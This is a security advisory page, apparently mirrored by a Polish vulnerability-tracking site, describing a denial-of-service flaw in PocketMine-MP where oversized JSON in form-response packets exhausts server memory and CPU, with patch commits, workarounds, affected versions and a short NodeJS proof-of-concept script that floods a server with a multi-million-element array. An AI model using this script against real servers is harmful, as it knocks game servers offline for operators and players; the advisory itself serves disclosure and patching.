PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling
Impact
The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.
The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.
Patches
The issue was fixed in two parts:
- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID
Workarounds
This issue can be worked around in a plugin using DataPacketReceiveEvent by:
- checking the max size of the
formDatafield - making sure the form ID is not repeated
However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.
PoC
-
Join a PocketMine-MP server as a regular player (no special permissions needed).
-
Use a modified client or packet-sending script to send a
ModalFormResponsePacketwith:- Any non-existent
formId formDatacontaining a massive JSON array (e.g., 10+ MB payload).
- Any non-existent
-
The server will attempt to parse the JSON and may freeze or become unresponsive.
Example NodeJS pseudocode:
import { createClient } from 'bedrock-protocol';
const host = '127.0.0.1';
const port = 19132;
const username = 'Test';
const client = createClient({
host,
port,
username,
offline: true
});
const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';
client.on('spawn', () => {
console.log('[*] Connected & spawned. Sending malicious packet...');
client.write('modal_form_response', {
formId: 9999, // Form inexistant
formData: hugePayload // JSON énorme
});
console.log('[*] Packet sent. The server should start freezing shortly.');
});Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka Composer | pocketmine/pocketmine-mp | < 5.39.2 | 5.39.2 |
Odnośniki
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-770- Platforma
- Composer
- Paczka
pocketmine/pocketmine-mp- Ujawniono
- 06.04.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-788v-5pfp-93ff - CC BY 4.0
Historia podatności: pocketmine/pocketmine-mp
Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 30
- Pierwsza → ostatnia
- 11.2020 04.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 20
- Średnia 8
- Niska 2
Ujawnienia w latach
- 2020: 1
- 2021: 1
- 2022: 11
- 2023: 8
- 2024: 2
- 2025: 2
- 2026: 5
-
PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.